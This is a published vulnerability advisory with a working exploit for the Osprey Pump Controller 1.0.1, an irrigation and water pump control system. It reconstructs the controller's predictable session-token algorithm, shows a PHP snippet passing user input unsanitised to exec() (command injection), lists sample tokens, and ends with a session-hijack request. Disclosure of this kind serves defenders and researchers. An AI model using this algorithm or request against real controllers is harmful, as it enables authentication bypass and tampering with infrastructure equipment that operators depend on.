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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Osprey Pump Controller 1.0.1 - Predictable Session Token / Session Hijack
# Exploit Author: LiquidWorm


Vendor: ProPump and Controls, Inc.
Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com
Affected version: Software Build ID 20211018, Production 10/18/2021
                  Mirage App: MirageAppManager, Release [1.0.1]
                  Mirage Model 1, RetroBoard II


Summary: Providing pumping systems and automated controls for
golf courses and turf irrigation, municipal water and sewer,
biogas, agricultural, and industrial markets. Osprey: door-mounted,
irrigation and landscape pump controller.

Technology hasn't changed dramatically on pump and electric motors
in the last 30 years. Pump station controls are a different story.
More than ever before, customers expect the smooth and efficient
operation of VFD control. Communications—monitoring, remote control,
and interfacing with irrigation computer programs—have become common
requirements. Fast and reliable accessibility through cell phones
has been a game changer.

ProPump & Controls can handle any of your retrofit needs, from upgrading
an older relay logic system to a powerful modern PLC controller, to
converting your fixed speed or first generation VFD control system to
the latest control platform with communications capabilities.

We use a variety of solutions, from MCI-Flowtronex and Watertronics
package panels to sophisticated SCADA systems capable of controlling
and monitoring networks of hundreds of pump stations, valves, tanks,
deep wells, or remote flow meters.

User friendly system navigation allows quick and easy access to all
critical pump station information with no password protection unless
requested by the customer. Easy to understand control terminology allows
any qualified pump technician the ability to make basic changes without
support. Similar control and navigation platform compared to one of the
most recognized golf pump station control systems for the last twenty
years make it familiar to established golf service groups nationwide.
Reliable push button navigation and LCD information screen allows the
use of all existing control panel door switches to eliminate the common
problems associated with touchscreens.

Global system configuration possibilities allow it to be adapted to
virtually any PLC or relay logic controlled pump stations being used in
the industrial, municipal, agricultural and golf markets that operate
variable or fixed speed. On board Wi-Fi and available cellular modem
option allows complete remote access.

Desc: The pump controller's ELF binary Mirage_CreateSessionCode.x contains
a weak session token generation algorithm that can be predicted and can aid
in authentication and authorization bypass attacks. Further, session hijacking
is possible due to MitM attack exploiting clear-text transmission of sensitive
data including session token in URL. Session ID predictability and randomness
analysis of the variable areas of the Session ID was conducted and discovered
a predictable pattern. The low entropy is generated by using four IVs comprised
of username, password, ip address and hostname.

Tested on: Apache/2.4.25 (Raspbian)
           Raspbian GNU/Linux 9 (stretch)
           GNU/Linux 4.14.79-v7+ (armv7l)
           Python 2.7.13 [GCC 6.3.0 20170516]
           GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git
           PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2023-5745
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5745.php


05.01.2023

--


sessionCode algorithm:
----------------------

for i in range(0, 80):
    foo = ord(userName[i]) + ord(userpassWord[i]) + ord(clientIP[i]) + ord(clientHost[i])
    bar = foo + 7
    if bar < 64 && bar > 57:
        bar = foo + 13
    while bar > 90:
        bar = bar - 43
        if bar < 64 && bar > 57:
            bar = bar - 37
    sessionCode[i] += chr(bar)
    if sessionCode[i] == chr('\a'):
        sessionCode[i] = 0
        break

print(sessionCode.upper())


index.php (+cmdinj):
--------------------

$dataRequest=$userName." ".$userPW." ".$client_IP." ".$client_HOST;
        $test=exec("Mirage_CreateSessionCode.x ". $dataRequest,$outData, $retVal);


Session ID using user:password,ip,host
8GS1@7DB@7@@D5DKOPA@4DU4SKNH@OPNACI5JAP
Session ID using admin:password,ip,host
@DDUDFDIH@@@D5DKOPA@4DU4SKNH@OPNACI5JAP
First 10 bytes are the user/pass combo.

Hijack session:
---------------

GET /menu.php?menuItem=119&userName=user&sessionCode=QKC1DHM7EFCAEC49875@CPCLCEGAP5EKI